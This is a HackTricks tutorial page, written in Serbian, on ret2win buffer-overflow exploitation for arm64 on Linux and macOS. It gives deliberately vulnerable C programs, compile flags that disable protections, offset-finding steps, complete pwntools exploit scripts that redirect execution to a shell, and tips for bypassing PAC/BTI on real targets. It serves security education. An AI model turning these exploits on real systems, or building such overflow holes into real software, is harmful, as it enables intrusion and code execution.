Ret2win - arm64
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pronađite uvod u arm64 u:
Kod
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Kompajliraj bez pie i canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- Dodatni flag
-mbranch-protection=noneonemogućava AArch64 Branch Protection (PAC/BTI). Ako vaš toolchain podrazumevano omogućava PAC ili BTI, ovo održava laboratoriju ponovljivom. Da biste proverili da li kompajlirani binarni koristi PAC/BTI, možete: - Potražiti AArch64 GNU properties:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- Inspektovati prologe/epiloge za
paciasp/autiasp(PAC) ili zabti clanding pad-ove (BTI): objdump -d ret2win | head -n 40
Kratke činjenice o AArch64 konvenciji poziva
- Link registar je
x30(poznat i kaolr), i funkcije obično čuvajux29/x30pomoćustp x29, x30, [sp, #-16]!i vraćaju ih saldp x29, x30, [sp], #16; ret. - To znači da sačuvana adresa povratka živi na
sp+8u odnosu na osnovu frejma. Sachar buffer[64]smeštenim ispod, uobičajena distanca prepisivanja do sačuvanogx30je 64 (buffer) + 8 (sačuvani x29) = 72 bajta — upravo ono što ćemo naći ispod. - Pokazivač steka mora ostati poravnat na 16 bajtova na granicama funkcija. Ako budete gradili ROP chains kasnije za složenije scenarije, održite SP poravnavanje ili možete srušiti program pri epilogima funkcija.
Pronalaženje offseta
Opcija pattern-a
Ovaj primer je kreiran korišćenjem GEF:
Pokrenite gdb sa gef, napravite pattern i koristite ga:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 će pokušati da se vrati na adresu u registru x30 (koji je kompromitovan), možemo to iskoristiti da pronađemo pattern offset:
pattern search $x30
.png)
Offset je 72 (9x48).
Opcija za stack offset
Počni tako što ćeš dobiti adresu stack-a gde je smešten pc register:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Sada postavite breakpoint posle read() i nastavite izvršavanje dok se read() ne izvrši, i postavite obrazac kao на пример 13371337:
b *vulnerable_function+28
c
.png)
Pronađite gde je ovaj uzorak sačuvan u memoriji:
.png)
Zatim: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Regular
Dohvatite adresu win funkcije:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
Zapravo će ovo više biti off-by-2 u stored PC na stacku. Umesto da prepišemo celu return address, prepišemo samo poslednja 2 bajta vrednošću 0x06c4.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Možete pronaći još jedan off-by-one primer u ARM64 na https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, koji je stvarni off-by-one u fiktivnoj ranjivosti.
Sa PIE
Tip
Kompajlirajte binarni fajl bez
-no-pieargumenta
Off-by-2
Bez leak-a ne znamo tačnu adresu win funkcije, ali možemo odrediti offset funkcije unutar binarija, i znajući da se adresа za povratak koju prepisujemo već nalazi blizu, moguće je otkriti offset do win funkcije (0x7d4) u ovom slučaju i jednostavno koristiti taj offset:
.png)
Configuration
binary_name = ‘./ret2win’ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
## macOS
### Kod
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
Kompajlirajte bez canary (na macOS-u ne možete onemogućiti PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Pokreni bez ASLR-a (iako nam nije potreban pošto imamo address leak):
env DYLD_DISABLE_ASLR=1 ./bof_macos
Tip
Nije moguće onemogućiti NX na macOS jer je na arm64 ovaj režim implementiran na nivou hardvera, tako da ga ne možete onemogućiti; zato nećete naći primere sa shellcode u stacku na macOS.
Pronađite offset
- Generišite pattern:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
- Pokrenite program i unesite pattern da izazove crash:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
- Proveri registar
x30(the return address) da pronađeš offset:
(lldb) register read x30
- Koristite
cyclic -l <value>da pronađete tačan offset:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- Tako sam našao offset
72; stavljanjem na taj offset adresu funkcijewin()možete izvršiti tu funkciju i dobiti shell (pokreće se bez ASLR).
Exploit
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
macOS - 2. primer
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
Kompajliraj bez canary (na macOS ne možete onemogućiti PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Pronađite offset
- Generišite pattern u fajl
/tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
- Pokrenite program da izazove crash:
lldb ./bof_macos
(lldb) run
- Proverite registar
x30(povratna adresa) da biste pronašli offset:
(lldb) register read x30
- Koristite
cyclic -l <value>da biste pronašli tačan offset:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- Tako sam pronašao offset
72; stavljanjem na taj offset adrese funkcijewin()možete izvršiti tu funkciju i dobiti shell (pokrenuto bez ASLR).
Izračunaj adresu win()
- Binar je PIE; koristeći leak funkcije
leak_anchor()i znajući offset funkcijewin()u odnosu naleak_anchor(), možemo izračunati adresu funkcijewin().
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
- Offset je
0x47c - 0x460 = 0x1c
Exploit
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
Beleške o modernom AArch64 ojačavanju (PAC/BTI) i ret2win
- Ako je binarni fajl kompajliran sa AArch64 Branch Protection, možete videti
paciasp/autiaspilibti cemitovane u prologima/epilogima funkcija. U tom slučaju: - Vraćanje na adresu koja nije validan BTI landing pad može izazvati
SIGILL. Preporučljivo je ciljati tačan ulaz funkcije koji sadržibti c. - Ako je PAC omogućen za returns, naivne izmene return‑address mogu propasti jer epilog autentifikuje
x30. Za scenarije učenja, rekompajlirajte sa-mbranch-protection=none(prikazano gore). Kada napadate realne ciljeve, preferirajte non‑return hijacks (npr. function pointer overwrites) ili gradite ROP koji nikada ne izvršavaautiasp/retpar koji autentifikuje vaš falsifikovani LR. - Za brzu proveru feature‑a:
readelf --notes -W ./ret2wini potražite napomeneAARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PAC.objdump -d ./ret2win | head -n 40i potražitebti c,paciasp,autiasp.
Pokretanje na hostovima koji nisu ARM64 (qemu‑user kratki savet)
Ako ste na x86_64 ali želite da vežbate AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Povezane HackTricks stranice
Reference
- Omogućavanje PAC i BTI na AArch64 za Linux (Arm Community, novembar 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Standard poziva procedura za Arm 64-bitnu arhitekturu (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


